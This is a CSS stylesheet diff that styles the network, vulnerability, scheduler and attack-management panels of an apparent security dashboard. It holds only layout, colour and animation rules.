.label-text { + font-size: 10px; + fill: #fff; + font-family: monospace; + text-shadow: 0 1px 2px #000; + pointer-events: none; +} + +.network-container .d3-tooltip { + position: absolute; + pointer-events: none; + opacity: 0; + background: rgba(2, 16, 31, 0.95); + border: 1px solid #219ebc; + padding: 12px; + border-radius: 8px; + font-size: 0.85rem; + color: #fff; + box-shadow: 0 5px 20px rgba(0, 0, 0, 0.5); + transform: translate(-50%, -110%); + transition: opacity 0.2s; + white-space: nowrap; + z-index: 1000; +} + +@media (max-width: 900px) { + .network-container .nv-toolbar { + flex-wrap: wrap; + justify-content: flex-start; + gap: 8px; + } + + .network-container .nv-search { + min-width: 0; + flex: 1 1 220px; + } + + .network-container .segmented { + order: 3; + } + + .network-container table.network-table { + min-width: 700px; + } + + .network-container .hosts-content { + min-width: 260px; + } +} + +@media (max-width: 720px) { + .network-container { + padding: 8px; + } + + .network-container .nv-toolbar { + padding: 8px; + } + + .network-container table.network-table { + min-width: 620px; + border-spacing: 0 .35rem; + } + + .network-container .bubble { + font-size: .82rem; + padding: .35rem .65rem; + } + + .network-container .port-bubble { + font-size: .8rem; + padding: .34rem .62rem; + } +} + +/* ========================================================================== + VULNERABILITIES + ========================================================================== */ +.vuln-container { + padding: var(--gap-4); + min-height: calc(100vh - var(--h-topbar) - var(--h-bottombar)); + animation: vuln-fadeIn 0.5s ease-in; +} + +@keyframes vuln-fadeIn { + from { + opacity: 0; + transform: translateY(10px); + } + + to { + opacity: 1; + transform: translateY(0); + } +} + +.vuln-container .stats-header { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); + gap: var(--gap-4); + margin-bottom: var(--gap-3); +} + +.vuln-container .stat-card { + background: var(--grad-card); + border-radius: var(--radius); + padding: var(--gap-4); + text-align: center; + border: 1px solid var(--c-border); + transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); + position: relative; + overflow: hidden; + box-shadow: var(--elev); +} + +.vuln-container .stat-card::before { + content: ''; + position: absolute; + top: 0; + left: 0; + right: 0; + height: 3px; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + animation: vuln-pulse 2s infinite; +} + +.vuln-container .stat-card:hover { + transform: translateY(-2px); + box-shadow: var(--shadow-hover); +} + +.vuln-container .stat-number { + font-size: 28px; + font-weight: bold; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + margin: 5px 0; +} + +.vuln-container .stat-label { + font-size: 12px; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 1px; +} + +.vuln-container .control-bar { + background: var(--grad-card); + border-radius: var(--radius); + padding: var(--gap-4); + margin-bottom: var(--gap-3); + display: flex; + flex-wrap: wrap; + gap: var(--gap-3); + align-items: center; + border: 1px solid var(--c-border); + box-shadow: var(--elev); +} + +.vuln-container .search-box { + flex: 1; + min-width: 200px; + position: relative; +} + +.vuln-container .search-input { + width: 100%; + height: var(--control-h); + padding: 0 40px 0 var(--control-pad-x); + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: var(--control-r); + color: var(--ink); + font-size: 14px; + transition: all 0.3s ease; +} + +.vuln-container .search-input:focus { + outline: none; + border-color: var(--accent); + box-shadow: 0 0 0 3px var(--glow-weak); +} + +.vuln-container .clear-search { + position: absolute; + right: 10px; + top: 50%; + transform: translateY(-50%); + background: none; + border: none; + color: var(--danger); + cursor: pointer; + font-size: 18px; + display: none; + transition: color 0.3s ease; +} + +.vuln-container .clear-search:hover { + color: var(--acid-2); +} + +.vuln-container .clear-search.show { + display: block; +} + +.vuln-container .filter-buttons { + display: flex; + gap: var(--gap-3); +} + +.vuln-container .filter-btn.active { + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + border-color: var(--accent); +} + +.vuln-container .severity-filter { + display: flex; + gap: var(--gap-2); +} + +.vuln-container .severity-btn.critical.active { + background: var(--danger); + border-color: var(--danger); + color: var(--white); +} + +.vuln-container .severity-btn.high.active { + background: var(--warning); + border-color: var(--warning); + color: var(--ink-invert); +} + +.vuln-container .severity-btn.medium.active { + background: var(--accent-2); + border-color: var(--accent-2); + color: var(--ink-invert); +} + +.vuln-container .severity-btn.low.active { + background: var(--ok); + border-color: var(--ok); + color: var(--ink-invert); +} + +.vuln-container .vuln-grid { + display: grid; + gap: var(--gap-4); + max-height: calc(100vh - 250px); + overflow-y: auto; +} + +.vuln-container .vuln-card { + background: var(--grad-card); + border-radius: var(--radius); + border: 1px solid var(--c-border); + overflow: hidden; + transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); + animation: vuln-slideIn 0.4s ease-out; + box-shadow: var(--elev); +} + +@keyframes vuln-slideIn { + from { + opacity: 0; + transform: translateX(-20px); + } + + to { + opacity: 1; + transform: translateX(0); + } +} + +.vuln-container .vuln-card:hover { + transform: translateY(-2px); + box-shadow: var(--shadow-hover); + border-color: var(--accent); +} + +.vuln-container .vuln-card.inactive { + opacity: 0.6; + border-color: var(--muted-off); +} + +.vuln-container .vuln-header { + padding: var(--gap-4); + background: var(--grad-quickpanel); + display: flex; + justify-content: space-between; + align-items: center; + cursor: pointer; + user-select: none; + border-bottom: 1px solid var(--c-border); +} + +.vuln-container .vuln-title { + display: flex; + align-items: center; + gap: var(--gap-3); + flex: 1; +} + +.vuln-container .vuln-id { + font-weight: bold; + font-size: 14px; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.vuln-container .severity-badge { + padding: 4px 10px; + border-radius: 20px; + font-size: 11px; + font-weight: bold; + text-transform: uppercase; + letter-spacing: 0.5px; + animation: vuln-pulse 2s infinite; +} + +@keyframes vuln-pulse { + 0% { + opacity: 1; + } + + 50% { + opacity: 0.7; + } + + 100% { + opacity: 1; + } +} + +.vuln-container .severity-critical { + background: var(--danger); + color: var(--white); +} + +.vuln-container .severity-high { + background: var(--warning); + color: var(--ink-invert); +} + +.vuln-container .severity-medium { + background: var(--accent-2); + color: var(--ink-invert); +} + +.vuln-container .severity-low { + background: var(--ok); + color: var(--ink-invert); +} + +.vuln-container .vuln-meta { + display: flex; + gap: var(--gap-4); + font-size: 12px; + color: var(--muted); +} + +.vuln-container .meta-item { + display: flex; + align-items: center; + gap: var(--gap-2); +} + +.vuln-container .expand-icon { + color: var(--muted); + transition: transform 0.3s ease; + font-size: 18px; +} + +.vuln-container .vuln-card.expanded .expand-icon { + transform: rotate(180deg); +} + +.vuln-container .vuln-content { + max-height: 0; + overflow: hidden; + transition: max-height 0.3s ease-out; +} + +.vuln-container .vuln-card.expanded .vuln-content { + max-height: 1000px; +} + +.vuln-container .vuln-details { + padding: var(--gap-4); + border-top: 1px solid var(--c-border); + background: var(--c-panel); +} + +.vuln-container .detail-section { + margin-bottom: var(--gap-4); +} + +.vuln-container .detail-title { + font-size: 12px; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 1px; + margin-bottom: var(--gap-2); + font-weight: 600; +} + +.vuln-container .detail-content { + font-size: 14px; + line-height: 1.6; + color: var(--ink); +} + +.vuln-container .tags-container { + display: flex; + flex-wrap: wrap; + gap: var(--gap-2); +} + +.vuln-container .tag { + padding: 4px 8px; + background: var(--c-chip-bg); + border: 1px solid var(--c-border); + border-radius: var(--gap-2); + font-size: 11px; + color: var(--muted); +} + +.vuln-container .action-buttons { + display: flex; + gap: var(--gap-3); + padding: var(--gap-4); + border-top: 1px solid var(--c-border); + background: var(--c-panel-2); +} + +.vuln-container .action-btn { + flex: 1; + justify-content: center; + text-transform: uppercase; + letter-spacing: 0.5px; +} + +.vuln-container .btn-remediate { + background: var(--ok); + border-color: var(--ok); + color: var(--ink-invert); +} + +.vuln-container .btn-details { + background: var(--accent-2); + border-color: var(--accent-2); + color: var(--ink-invert); +} + +.vuln-container .btn-export { + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + border-color: var(--accent); + color: var(--white); +} + +/* Host view */ +.vuln-container .host-card { + background: var(--grad-card); + border-radius: var(--radius); + border: 1px solid var(--c-border); + margin-bottom: var(--gap-4); + overflow: hidden; + animation: vuln-slideIn 0.4s ease-out; + box-shadow: var(--elev); +} + +.vuln-container .host-header { + background: var(--grad-quickpanel); + padding: var(--gap-4); + cursor: pointer; + user-select: none; + display: flex; + justify-content: space-between; + align-items: center; + border-bottom: 1px solid var(--c-border); +} + +.vuln-container .host-header:hover { + background: var(--grad-modal); +} + +.vuln-container .host-info { + display: flex; + flex-direction: column; + gap: var(--gap-2); +} + +.vuln-container .host-name { + font-size: 16px; + font-weight: bold; + color: var(--ink); + display: flex; + align-items: center; + gap: var(--gap-3); +} + +.vuln-container .host-details { + display: flex; + gap: var(--gap-4); + font-size: 12px; + color: var(--muted); +} + +.vuln-container .host-stats { + display: flex; + gap: var(--gap-3); + align-items: center; +} + +.vuln-container .host-stat-badge { + padding: 5px 10px; + border-radius: 20px; + font-size: 11px; + font-weight: bold; + display: flex; + align-items: center; + gap: var(--gap-2); +} + +.vuln-container .host-vulns { + max-height: 0; + overflow: hidden; + transition: max-height 0.3s ease-out; +} + +.vuln-container .host-card.expanded .host-vulns { + max-height: 2000px; +} + +.vuln-container .host-vuln-list { + padding: var(--gap-4); + background: var(--c-panel); +} + +.vuln-container .host-vuln-item { + background: var(--c-panel-2); + border: 1px solid var(--c-border); + border-radius: var(--control-r); + padding: var(--gap-3); + margin-bottom: var(--gap-3); + display: flex; + justify-content: space-between; + align-items: center; + transition: all 0.3s ease; +} + +.vuln-container .host-vuln-item:hover { + background: var(--grad-card); + border-color: var(--accent); + transform: translateX(5px); +} + +.vuln-container .host-summary { + background: var(--grad-quickpanel); + padding: var(--gap-3); + border-radius: var(--control-r); + margin-bottom: var(--gap-3); + display: flex; + justify-content: space-around; + text-align: center; +} + +.vuln-container .host-summary-item { + display: flex; + flex-direction: column; + gap: var(--gap-2); +} + +.vuln-container .host-summary-value { + font-size: 18px; + font-weight: bold; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.vuln-container .host-summary-label { + font-size: 10px; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 0.5px; +} + +/* Badges */ +.vuln-container .badge-kev { + background: var(--danger); + padding: 2px 6px; + border-radius: 10px; + font-size: 10px; + color: var(--white); + font-weight: bold; +} + +.vuln-container .badge-exploit { + background: linear-gradient(135deg, #9c27b0, #e1bee7); + padding: 2px 6px; + border-radius: 10px; + font-size: 10px; + color: var(--white); + font-weight: bold; +} + +.vuln-container .badge-epss-high { + background: linear-gradient(135deg, var(--danger), var(--warning)); + padding: 2px 6px; + border-radius: 10px; + font-size: 10px; + color: var(--white); + font-weight: bold; +} + +.vuln-container .badge-epss-medium { + background: linear-gradient(135deg, var(--warning), var(--accent-2)); + padding: 2px 6px; + border-radius: 10px; + font-size: 10px; + color: var(--white); + font-weight: bold; +} + +/* Pagination */ +.vuln-container .pagination { + display: flex; + justify-content: center; + gap: var(--gap-3); + margin-top: var(--gap-4); + padding: var(--gap-3); +} + +.vuln-container .page-btn:disabled { + opacity: 0.5; + cursor: not-allowed; +} + +.vuln-container .page-btn.active { + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + border-color: var(--accent); + color: var(--white); +} + +.vuln-container .page-info { + display: flex; + align-items: center; + color: var(--muted); + font-size: 13px; +} + +/* Modal */ +.vuln-container .modal { + display: none; + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + background: var(--glass-8); + z-index: 1000; + animation: vuln-fadeIn 0.3s ease; +} + +.vuln-container .modal.show { + display: flex; + align-items: center; + justify-content: center; +} + +.vuln-container .modal-content { + background: var(--grad-modal); + border-radius: var(--radius); + max-width: 800px; + width: 90%; + max-height: 80vh; + overflow-y: auto; + animation: vuln-slideUp 0.3s ease; + border: 1px solid var(--c-border-strong); + box-shadow: var(--shadow-hover); +} + +@keyframes vuln-slideUp { + from { + transform: translateY(50px); + opacity: 0; + } + + to { + transform: translateY(0); + opacity: 1; + } +} + +.vuln-container .modal-header { + padding: var(--gap-4); + border-bottom: 1px solid var(--c-border); + display: flex; + justify-content: space-between; + align-items: center; + position: sticky; + top: 0; + background: var(--grad-quickpanel); + z-index: 1; +} + +.vuln-container .modal-title { + font-size: 18px; + font-weight: bold; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.vuln-container .close-modal { + background: none; + border: none; + color: var(--muted); + font-size: 24px; + cursor: pointer; + transition: color 0.3s ease; +} + +.vuln-container .close-modal:hover { + color: var(--ink); +} + +.vuln-container .modal-body { + padding: var(--gap-4); +} + +@media (max-width:768px) { + .vuln-container .stats-header { + grid-template-columns: repeat(2, 1fr); + } + + .vuln-container .control-bar { + flex-direction: column; + } + + .vuln-container .search-box { + width: 100%; + } + + .vuln-container .filter-buttons { + width: 100%; + justify-content: space-between; + } + + .vuln-container .severity-filter { + width: 100%; + justify-content: space-between; + } + + .vuln-container .vuln-header { + flex-direction: column; + align-items: flex-start; + gap: var(--gap-3); + } + + .vuln-container .vuln-meta { + flex-direction: column; + gap: var(--gap-2); + } + + .vuln-container .modal-content { + width: 95%; + max-height: 90vh; + } +} + +/* ========================================================================== + SCHEDULER + ========================================================================== */ +.scheduler-container .toolbar-top { + position: sticky; + top: calc(var(--h-topbar, 0px) + 5px); + z-index: 60; +} + +.scheduler-container .controls { + position: sticky; + top: 1px; + z-index: 50; + display: flex; + flex-wrap: wrap; + align-items: center; + gap: .5rem; + padding: .6rem .8rem; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 14px; + margin: .6rem .6rem 0 .6rem; + box-shadow: var(--shadow); + backdrop-filter: saturate(1.05) blur(6px); +} + +.scheduler-container .pill { + background: var(--panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + border-radius: 999px; + padding: .45rem .8rem; + cursor: pointer; + user-select: none; + -webkit-user-select: none; + font-weight: 700; + transition: transform .15s ease, box-shadow .2s ease, background .2s ease, color .2s ease; + box-shadow: var(--shadow); +} + +.scheduler-container .pill:hover { + transform: translateY(-1px); + box-shadow: 0 10px 26px rgba(0, 0, 0, .35); +} + +.scheduler-container .pill.active { + background: var(--grad-card, linear-gradient(135deg, color-mix(in oklab, var(--panel) 92%, transparent), color-mix(in oklab, var(--c-panel) 88%, transparent))); + box-shadow: inset 0 0 0 1px var(--c-border-strong), 0 6px 24px var(--glow-weak); +} + +.scheduler-container .controls input[type="text"] { + flex: 1 1 260px; + min-width: 200px; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + border-radius: 10px; + padding: .5rem .7rem; + box-shadow: var(--shadow); + font-weight: 700; + outline: none; +} + +.scheduler-container .controls input[type="text"]:focus-visible, +.scheduler-container .pill:focus-visible { + outline: 2px solid var(--acid); + outline-offset: 2px; + box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid) 25%, transparent); +} + +.scheduler-container .stats { + flex-basis: 100%; + margin-left: 0; + text-align: center; + color: var(--muted); +} + +/* Board */ +.scheduler-container .boardWrap { + height: calc(100vh - (var(--h-topbar, 0px) + 5px) - 56px - 52px); + overflow: auto; +} + +.scheduler-container .board { + display: flex; + gap: 14px; + padding: 14px; + min-width: 960px; +} + +.scheduler-container .lane { + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 16px; + width: 340px; + display: flex; + flex-direction: column; + box-shadow: var(--shadow); + min-height: 0; +} + +.scheduler-container .laneHeader { + display: flex; + align-items: center; + gap: .6rem; + padding: .6rem .75rem; + border-bottom: 1px solid var(--c-border-strong); + border-top-left-radius: 16px; + border-top-right-radius: 16px; + background: linear-gradient(180deg, color-mix(in oklab, var(--panel) 96%, transparent), color-mix(in oklab, var(--panel) 88%, transparent)); + position: sticky; + top: 0; + z-index: 5; +} + +.scheduler-container .laneHeader .dot { + width: 10px; + height: 10px; + border-radius: 999px; + box-shadow: 0 0 0 1px rgba(255, 255, 255, .08) inset; +} + +.scheduler-container .laneHeader .count { + margin-left: auto; + color: var(--muted); + font-size: .9rem; +} + +.scheduler-container .laneBody { + padding: .6rem; + display: flex; + flex-direction: column; + gap: .6rem; + overflow: auto; + min-height: 0; +} + +/* Status dot colors */ +.scheduler-container .status-upcoming .laneHeader .dot { + background: var(--c-upcoming); + animation: sched-dotPulse 1.6s ease-in-out infinite; +} + +.scheduler-container .status-pending .laneHeader .dot { + background: var(--c-pending); +} + +.scheduler-container .status-running .laneHeader .dot { + background: var(--c-running); + animation: sched-dotPulse 1.6s ease-in-out infinite; +} + +.scheduler-container .status-success .laneHeader .dot { + background: var(--c-success); +} + +.scheduler-container .status-failed .laneHeader .dot { + background: var(--c-failed); +} + +.scheduler-container .status-expired .laneHeader .dot { + background: var(--c-expired); +} + +.scheduler-container .status-cancelled .laneHeader .dot { + background: var(--c-cancel); +} + +@keyframes sched-dotPulse { + + 0%, + 100% { + box-shadow: 0 0 0 0 rgba(74, 168, 255, 0); + } + + 50% { + box-shadow: 0 0 12px 3px rgba(74, 168, 255, .65); + } +} + +/* Cards */ +.scheduler-container .card { + position: relative; + border: 1px solid var(--c-border-strong); + border-radius: 12px; + padding: .7rem .75rem; + box-shadow: var(--shadow); + display: flex; + flex-direction: column; + gap: .45rem; + overflow: hidden; + transition: transform .15s ease, box-shadow .25s ease, filter .2s ease, background .25s ease; + will-change: transform, box-shadow, filter; + background: var(--c-panel); +} + +.scheduler-container .card:hover { + transform: translateY(-1px); + box-shadow: 0 16px 36px rgba(0, 0, 0, .4); +} + +.scheduler-container .card .infoBtn { + position: absolute; + top: 6px; + right: 6px; + z-index: 3; + width: 22px; + height: 22px; + line-height: 20px; + font-weight: 800; + text-align: center; + border-radius: 999px; + border: 1px solid var(--c-border-strong); + background: var(--panel); + color: var(--c-upcoming); + cursor: pointer; + user-select: none; + -webkit-user-select: none; +} + +.scheduler-container .card .infoBtn:hover { + filter: brightness(1.1); +} + +/* Card status backgrounds */ +.scheduler-container .card.status-upcoming { + background: color-mix(in oklab, var(--c-upcoming) 12%, var(--c-panel)); + animation: sched-breathe 2.6s ease-in-out infinite, sched-halo 2.6s ease-in-out infinite; +} + +.scheduler-container .card.status-pending { + background: color-mix(in oklab, var(--c-pending) 10%, var(--c-panel)); + animation: sched-breathe 2.6s ease-in-out infinite, sched-haloGray 2.8s ease-in-out infinite; +} + +.scheduler-container .card.status-running { + background: color-mix(in oklab, var(--c-running) 12%, var(--c-panel)); + animation: sched-pulse 1.8s ease-in-out infinite, sched-haloBlue 2s ease-in-out infinite; +} + +.scheduler-container .card.status-success { + background: color-mix(in oklab, var(--c-success) 10%, var(--c-panel)); +} + +.scheduler-container .card.status-failed { + background: color-mix(in oklab, var(--c-failed) 10%, var(--c-panel)); +} + +.scheduler-container .card.status-expired { + background: color-mix(in oklab, var(--c-expired) 10%, var(--c-panel)); +} + +.scheduler-container .card.status-cancelled { + background: color-mix(in oklab, var(--c-cancel) 10%, var(--c-panel)); +} + +.scheduler-container .badge { + margin-left: auto; + border-radius: 999px; + padding: .15rem .6rem; + font-size: .75rem; + font-weight: 800; + color: #0a0d10; +} + +.scheduler-container .card.status-upcoming .badge { + background: var(--c-upcoming); +} + +.scheduler-container .card.status-pending .badge { + background: var(--c-pending); +} + +.scheduler-container .card.status-running .badge { + background: var(--c-running); +} + +.scheduler-container .card.status-success .badge { + background: var(--c-success); +} + +.scheduler-container .card.status-failed .badge { + background: var(--c-failed); +} + +.scheduler-container .card.status-expired .badge { + background: var(--c-expired); +} + +.scheduler-container .card.status-cancelled .badge { + background: var(--c-cancel); +} + +/* Collapsed */ +.scheduler-container .card.collapsed .kv, +.scheduler-container .card.collapsed .tags, +.scheduler-container .card.collapsed .timer, +.scheduler-container .card.collapsed .meta, +.scheduler-container .card.collapsed .btns, +.scheduler-container .card.collapsed .notice { + display: none !important; +} + +.scheduler-container .card.collapsed { + gap: .25rem; + padding: .4rem .5rem; +} + +.scheduler-container .card.collapsed .actionIcon { + width: 80px; + height: 80px; +} + +.scheduler-container .cardHeader { + display: flex; + align-items: center; + gap: .6rem; +} + +.scheduler-container .actionName { + font-weight: 800; + letter-spacing: .2px; +} + +.scheduler-container .actionIconWrap { + display: flex; + align-items: center; + justify-content: center; + margin-right: 8px; +} + +.scheduler-container .actionIcon { + width: 80px; + height: 80px; + object-fit: contain; + border-radius: 6px; + background: var(--panel); + border: 1px solid var(--c-border); +} + +.scheduler-container .card.status-running .actionIcon { + animation: sched-pulseIcon 1.2s ease-in-out infinite; +} + +.scheduler-container .card.status-pending .actionIcon { + animation: sched-swayIcon 1.8s ease-in-out infinite; +} + +.scheduler-container .card.status-upcoming .actionIcon { + animation: sched-blinkIcon 2s ease-in-out infinite; +} + +@keyframes sched-pulseIcon { + + 0%, + 100% { + transform: scale(1); + } + + 50% { + transform: scale(1.25); + } +} + +@keyframes sched-swayIcon { + + 0%, + 100% { + transform: rotate(0deg); + } + + 25% { + transform: rotate(-5deg); + } + + 75% { + transform: rotate(5deg); + } +} + +@keyframes sched-blinkIcon { + + 0%, + 100% { + opacity: 1; + } + + 50% { + opacity: .4; + } +} + +.scheduler-container .kv { + display: flex; + flex-wrap: wrap; + gap: .45rem .8rem; + font-size: .9rem; +} + +.scheduler-container .kv .k { + color: var(--muted); +} + +.scheduler-container .tags { + display: flex; + flex-wrap: wrap; + gap: .35rem; +} + +.scheduler-container .tag { + background: var(--panel); + color: var(--ink); + border: 1px solid var(--c-border-strong); + padding: .15rem .45rem; + border-radius: 999px; + font-size: .74rem; + box-shadow: var(--shadow); +} + +.scheduler-container .meta { + color: color-mix(in oklab, var(--ink) 76%, #9aa7b2); + font-size: .82rem; + display: flex; + flex-wrap: wrap; + gap: .5rem .8rem; +} + +.scheduler-container .btns { + display: flex; + flex-wrap: wrap; + gap: .4rem; + margin-top: .2rem; +} + +.scheduler-container .btn { + background: var(--panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + padding: .35rem .6rem; + border-radius: 8px; + cursor: pointer; +} + +.scheduler-container .btn:hover { + filter: brightness(1.08); +} + +.scheduler-container .btn.danger { + background: color-mix(in oklab, #9c2b2b 22%, var(--panel)); + border-color: #4a1515; + color: #ffd0d0; +} + +.scheduler-container .btn.warn { + background: color-mix(in oklab, #9c6a2b 22%, var(--panel)); + border-color: #5c2c0c; + color: #ffd8a8; +} + +.scheduler-container .empty { + color: var(--muted); + text-align: center; + padding: .6rem; +} + +@keyframes sched-pulse { + + 0%, + 100% { + transform: scale(1); + } + + 50% { + transform: scale(1.02); + } +} + +@keyframes sched-breathe { + + 0%, + 100% { + filter: brightness(1); + } + + 50% { + filter: brightness(1.07); + } +} + +@keyframes sched-halo { + + 0%, + 100% { + box-shadow: 0 0 12px rgba(156, 194, 255, .25); + } + + 50% { + box-shadow: 0 0 22px rgba(156, 194, 255, .45); + } +} + +@keyframes sched-haloGray { + + 0%, + 100% { + box-shadow: 0 0 12px rgba(187, 187, 187, .15); + } + + 50% { + box-shadow: 0 0 22px rgba(187, 187, 187, .3); + } +} + +@keyframes sched-haloBlue { + + 0%, + 100% { + box-shadow: 0 0 12px rgba(74, 168, 255, .25); + } + + 50% { + box-shadow: 0 0 26px rgba(74, 168, 255, .5); + } +} + +/* Timer / Progress */ +.scheduler-container .timer { + font-size: .82rem; + color: color-mix(in oklab, var(--ink) 80%, #bcd7ff); + display: flex; + align-items: center; + gap: .4rem; +} + +.scheduler-container .timer .cd { + font-variant-numeric: tabular-nums; +} + +.scheduler-container .progress { + height: 6px; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 999px; + overflow: hidden; +} + +.scheduler-container .progress .bar { + height: 100%; + width: 0%; + background: linear-gradient(90deg, var(--c-running), #00d8ff); +} + +/* More button */ +.scheduler-container .moreWrap { + display: flex; + justify-content: center; +} + +.scheduler-container .moreBtn { + background: var(--panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + border-radius: 10px; + padding: .45rem .8rem; + cursor: pointer; + transition: transform .15s; + margin: .25rem auto 0; + box-shadow: var(--shadow); +} + +.scheduler-container .moreBtn:hover { + transform: translateY(-1px); +} + +/* Notice */ +.scheduler-container .notice { + padding: .6rem .8rem; + color: #ffd9d6; + background: color-mix(in oklab, #7a3838 55%, var(--panel)); + border-bottom: 1px solid #7a3838; + display: none; + border-radius: 12px; + margin: .6rem; +} + +/* Chips */ +.scheduler-container .chips { + display: flex; + flex-wrap: wrap; + gap: .35rem; + margin: .1rem 0 .2rem; + justify-content: center; +} + +.scheduler-container .chip { + --h: 200; + display: inline-flex; + align-items: center; + gap: .4rem; + padding: .25rem .55rem; + border-radius: 999px; + font-size: .82rem; + font-weight: 800; + color: #fff; + letter-spacing: .2px; + background: linear-gradient(135deg, rgba(255, 255, 255, .06), rgba(0, 0, 0, .12)), hsl(var(--h), 65%, 34%); + border: 1px solid hsla(var(--h), 70%, 60%, .35); + box-shadow: 0 6px 16px rgba(0, 0, 0, .22), inset 0 1px 0 rgba(255, 255, 255, .06); + transition: transform .15s ease, box-shadow .2s ease, filter .2s ease; +} + +.scheduler-container .chip:hover { + transform: translateY(-1px); + box-shadow: 0 10px 22px rgba(0, 0, 0, .28); +} + +.scheduler-container .chip .k { + opacity: .85; + font-weight: 700; +} + +/* History modal */ +.scheduler-container .modalOverlay { + position: fixed; + inset: 0; + background: rgba(0, 0, 0, .5); + display: none; + align-items: center; + justify-content: center; + z-index: 1000; +} + +.scheduler-container .modal { + width: min(860px, 92vw); + max-height: 80vh; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 14px; + box-shadow: 0 20px 56px rgba(0, 0, 0, .6); + display: flex; + flex-direction: column; + overflow: hidden; +} + +.scheduler-container .modalHeader { + display: flex; + align-items: center; + gap: .6rem; + padding: .6rem .8rem; + border-bottom: 1px solid var(--c-border-strong); + background: linear-gradient(180deg, color-mix(in oklab, var(--panel) 96%, transparent), color-mix(in oklab, var(--panel) 88%, transparent)); +} + +.scheduler-container .modalHeader .title { + font-weight: 900; +} + +.scheduler-container .modalHeader .spacer { + flex: 1; +} + +.scheduler-container .modalBody { + padding: .6rem .8rem; + overflow: auto; + display: flex; + flex-direction: column; + gap: .35rem; +} + +.scheduler-container .modalFooter { + padding: .5rem .8rem; + border-top: 1px solid var(--c-border-strong); + display: flex; + gap: .5rem; + justify-content: flex-end; + color: var(--muted); +} + +.scheduler-container .xBtn, +.scheduler-container .miniToggle { + background: var(--panel); + color: var(--ink); + border: 1px solid var(--c-border-strong); + border-radius: 8px; + padding: .35rem .6rem; + cursor: pointer; +} + +.scheduler-container .xBtn:hover, +.scheduler-container .miniToggle:hover { + filter: brightness(1.08); +} + +.scheduler-container #searchBox { + width: 100%; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + border-radius: 10px; + padding: .5rem .7rem; + box-shadow: var(--shadow); + font-weight: 700; + outline: none; +} + +.scheduler-container .histRow { + display: flex; + align-items: center; + gap: .6rem; + padding: .45rem .6rem; + border-radius: 10px; + border: 1px solid var(--c-border-strong); + background: color-mix(in oklab, var(--ink) 2%, var(--panel)); +} + +.scheduler-container .histRow .ts { + color: var(--muted); + font-variant-numeric: tabular-nums; +} + +.scheduler-container .histRow .st { + font-weight: 900; + margin-left: auto; + padding: .1rem .5rem; + border-radius: 999px; + font-size: .75rem; + color: #0a0d10; +} + +.scheduler-container .hist-success { + background: color-mix(in oklab, var(--c-success) 8%, var(--panel)); + border-left: 3px solid var(--c-success); +} + +.scheduler-container .hist-failed { + background: color-mix(in oklab, var(--c-failed) 8%, var(--panel)); + border-left: 3px solid var(--c-failed); +} + +.scheduler-container .hist-running { + background: color-mix(in oklab, var(--c-running) 8%, var(--panel)); + border-left: 3px solid var(--c-running); +} + +.scheduler-container .hist-pending, +.scheduler-container .hist-scheduled { + background: color-mix(in oklab, var(--c-pending) 8%, var(--panel)); + border-left: 3px solid var(--c-pending); +} + +.scheduler-container .hist-expired { + background: color-mix(in oklab, var(--c-expired) 8%, var(--panel)); + border-left: 3px solid var(--c-expired); +} + +.scheduler-container .hist-cancelled { + background: color-mix(in oklab, var(--c-cancel) 8%, var(--panel)); + border-left: 3px solid var(--c-cancel); +} + +.scheduler-container .hist-superseded { + background: color-mix(in oklab, var(--c-super) 8%, var(--panel)); + border-left: 3px solid var(--c-super); +} + +@media (max-width:920px) { + .scheduler-container .board { + flex-direction: column; + min-width: 0; + } + + .scheduler-container .lane { + width: auto; + } + + .scheduler-container .stats { + width: 100%; + margin-left: 0; + } + + .scheduler-container .boardWrap { + height: auto; + min-height: calc(100vh - (var(--h-topbar, 0px) + 5px)); + } +} + +@media (prefers-reduced-motion: reduce) { + + .scheduler-container .card, + .scheduler-container .laneHeader .dot { + animation: none !important; + } +} + +/* ========================================================================== + ATTACKS (Management) + ========================================================================== */ +.attacks-container .tabs-container { + display: flex; + gap: 4px; + margin-bottom: 16px; + padding-bottom: 8px; + border-bottom: 1px solid var(--_border); +} + +.attacks-container .attacks-sidebar>.tabs-container { + margin: 10px 10px 8px; +} + +.attacks-container .attacks-sidebar>.sidebar-page { + flex: 1; + min-height: 0; + overflow: auto; + padding: 0 10px 10px; +} + +.attacks-container .tab-btn { + flex: 1; + padding: 10px 8px; + border: none; + cursor: pointer; + font-size: 14px; + font-weight: 700; + border-radius: 10px 10px 0 0; + color: var(--_ink); + background: var(--_panel-lo); + transition: .2s; + border: 1px solid var(--_border); + border-bottom: none; +} + +.attacks-container .tab-btn:hover { + background: var(--_panel-hi); + transform: translateY(-1px); +} + +.attacks-container .tab-btn.active { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 12%, transparent)); + color: var(--_ink); + border-color: color-mix(in oklab, var(--_acid2) 